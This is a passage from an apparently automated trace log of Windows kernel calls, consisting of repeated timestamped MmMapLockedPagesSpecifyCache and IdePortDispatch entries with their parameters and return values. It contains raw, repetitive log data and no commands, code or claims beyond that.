Priority=0xfffff80000000000) returned 0xfffff88002d26000 [0110.388] IdePortDispatch () returned 0x103 [0110.398] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350b000 [0110.398] IdePortDispatch () returned 0x103 [0110.442] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c9000 [0110.442] IdePortDispatch () returned 0x103 [0110.465] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e6000 [0110.466] IdePortDispatch () returned 0x103 [0110.466] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ea000 [0110.466] IdePortDispatch () returned 0x103 [0110.467] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ef000 [0110.467] IdePortDispatch () returned 0x103 [0110.594] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c85000 [0110.594] IdePortDispatch () returned 0x103 [0110.637] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d44000 [0110.638] IdePortDispatch () returned 0x103 [0110.638] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d49000 [0110.639] IdePortDispatch () returned 0x103 [0110.639] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4d000 [0110.639] IdePortDispatch () returned 0x103 [0110.657] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003515000 [0110.657] IdePortDispatch () returned 0x103 [0110.660] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800351f000 [0110.660] IdePortDispatch () returned 0x103 [0110.668] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035bc000 [0110.668] IdePortDispatch () returned 0x103 [0110.669] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c3000 [0110.669] IdePortDispatch () returned 0x103 [0110.669] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cb000 [0110.669] IdePortDispatch () returned 0x103 [0110.670] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d2000 [0110.670] IdePortDispatch () returned 0x103 [0110.671] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d8000 [0110.671] IdePortDispatch () returned 0x103 [0110.672] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035db000 [0110.673] IdePortDispatch () returned 0x103 [0110.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfb000 [0110.675] IdePortDispatch () returned 0x103 [0110.676] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfd000 [0110.676] IdePortDispatch () returned 0x103 [0110.785] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003536000 [0110.785] IdePortDispatch () returned 0x103 [0110.792] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003584000 [0110.792] IdePortDispatch () returned 0x103 [0110.793] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003587000 [0110.793] IdePortDispatch () returned 0x103 [0110.843] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b29000 [0110.843] IdePortDispatch () returned 0x103 [0110.868] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b5a000 [0110.868] IdePortDispatch () returned 0x103 [0110.869] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b5d000 [0110.869] IdePortDispatch () returned 0x103 [0110.870] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b61000 [0110.870] IdePortDispatch () returned 0x103 [0110.871] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b63000 [0110.871] IdePortDispatch () returned 0x103 [0110.871] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b69000 [0110.871] IdePortDispatch () returned 0x103 [0110.872] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b6c000 [0110.873] IdePortDispatch () returned 0x103 [0110.874] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b73000 [0110.874] IdePortDispatch () returned 0x103 [0110.879] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4f000 [0110.879] IdePortDispatch () returned 0x103 [0110.882] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c52000 [0110.882] IdePortDispatch () returned 0x103 [0110.883] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c57000 [0110.883] IdePortDispatch () returned 0x103 [0110.885] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb8000 [0110.885] IdePortDispatch () returned 0x103 [0110.889] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d12000 [0110.889] IdePortDispatch () returned 0x103 [0110.889] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d15000 [0110.889] IdePortDispatch () returned 0x103 [0110.893] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d18000 [0110.893] IdePortDispatch () returned 0x103 [0110.894] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d20000 [0110.894] IdePortDispatch () returned 0x103 [0110.894] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d23000 [0110.894] IdePortDispatch () returned 0x103 [0110.896] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d69000 [0110.896] IdePortDispatch () returned 0x103 [0110.897] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d72000 [0110.897] IdePortDispatch () returned 0x103 [0110.898] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db6000 [0110.898] IdePortDispatch () returned 0x103 [0110.899] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db9000 [0110.899] IdePortDispatch () returned 0x103 [0110.900] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dbd000 [0110.900] IdePortDispatch () returned 0x103 [0110.901] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de0000 [0110.901] IdePortDispatch () returned 0x103 [0110.901] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de2000 [0110.901] IdePortDispatch () returned 0x103 [0110.902] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de8000 [0110.902] IdePortDispatch () returned 0x103 [0110.902] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dea000 [0110.902] IdePortDispatch () returned 0x103 [0110.903] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ded000 [0110.903] IdePortDispatch () returned 0x103 [0110.904] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df7000 [0110.904] IdePortDispatch () returned 0x103 [0110.904] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfb000 [0110.904] IdePortDispatch () returned 0x103 [0110.906] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003409000 [0110.906] IdePortDispatch () returned 0x103 [0110.906] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800340b000 [0110.906] IdePortDispatch () returned 0x103 [0110.907] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800340d000 [0110.907] IdePortDispatch () returned 0x103 [0110.907] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003411000 [0110.907] IdePortDispatch () returned 0x103 [0110.908] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003414000 [0110.908] IdePortDispatch () returned 0x103 [0110.908] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003417000 [0110.908] IdePortDispatch () returned 0x103 [0110.910] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003424000 [0110.910] IdePortDispatch () returned 0x103 [0110.910] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003427000 [0110.910] IdePortDispatch () returned 0x103 [0110.911] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342a000 [0110.911] IdePortDispatch () returned 0x103 [0110.911] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342c000 [0110.911] IdePortDispatch () returned 0x103 [0110.913] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003456000 [0110.913] IdePortDispatch () returned 0x103 [0110.946] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358e000 [0110.946] IdePortDispatch () returned 0x103 [0110.947] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359c000 [0110.947] IdePortDispatch () returned 0x103 [0110.980] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b11000 [0110.980] IdePortDispatch () returned 0x103 [0110.981] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b14000 [0110.981] IdePortDispatch () returned 0x103 [0110.981] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b17000 [0110.981] IdePortDispatch () returned 0x103 [0110.983] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b5d000 [0110.983] IdePortDispatch () returned 0x103 [0110.989] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b6b000 [0110.989] IdePortDispatch () returned 0x103 [0110.990] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b70000 [0110.990] IdePortDispatch () returned 0x103 [0110.992] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd8000 [0110.992] IdePortDispatch () returned 0x103 [0110.993] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bdd000 [0110.993] IdePortDispatch () returned 0x103 [0110.994] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be0000 [0110.994] IdePortDispatch () returned 0x103 [0110.995] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be3000 [0110.995] IdePortDispatch () returned 0x103 [0111.023] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003427000 [0111.023] IdePortDispatch () returned 0x103 [0111.024] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003441000 [0111.024] IdePortDispatch () returned 0x103 [0111.024] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003446000 [0111.024] IdePortDispatch () returned 0x103 [0111.025] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003449000 [0111.025] IdePortDispatch () returned 0x103 [0111.026] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800344e000 [0111.026] IdePortDispatch () returned 0x103 [0111.028] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003451000 [0111.028] IdePortDispatch () returned 0x103 [0111.030] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003455000 [0111.030] IdePortDispatch () returned 0x103 [0111.031] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003459000 [0111.031] IdePortDispatch () returned 0x103 [0111.033] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003464000 [0111.033] IdePortDispatch () returned 0x103 [0111.034] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346b000 [0111.034] IdePortDispatch () returned 0x103 [0111.035] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346e000 [0111.035] IdePortDispatch () returned 0x103 [0111.037] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003471000 [0111.037] IdePortDispatch () returned 0x103 [0111.038] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003480000 [0111.038] IdePortDispatch () returned 0x103 [0111.038] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003485000 [0111.038] IdePortDispatch () returned 0x103 [0111.039] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003488000 [0111.039] IdePortDispatch () returned 0x103 [0111.041] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a3000 [0111.041] IdePortDispatch () returned 0x103 [0111.042] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b1000 [0111.042] IdePortDispatch () returned 0x103 [0111.044] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c1000 [0111.044] IdePortDispatch () returned 0x103 [0111.045] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c4000 [0111.045] IdePortDispatch () returned 0x103 [0111.045] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c7000 [0111.045] IdePortDispatch () returned 0x103 [0111.046] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ca000 [0111.046] IdePortDispatch () returned 0x103 [0111.056] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d3000 [0111.056] IdePortDispatch () returned 0x103 [0111.074] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003502000 [0111.074] IdePortDispatch () returned 0x103 [0111.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003504000 [0111.075] IdePortDispatch () returned 0x103 [0111.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003507000 [0111.075] IdePortDispatch () returned 0x103 [0111.126] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8e000 [0111.126] IdePortDispatch () returned 0x103 [0111.134] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b91000 [0111.134] IdePortDispatch () returned 0x103 [0111.136] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf8000 [0111.137] IdePortDispatch () returned 0x103 [0111.137] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfc000 [0111.137] IdePortDispatch () returned 0x103 [0111.141] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd5000 [0111.141] IdePortDispatch () returned 0x103 [0111.142] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, 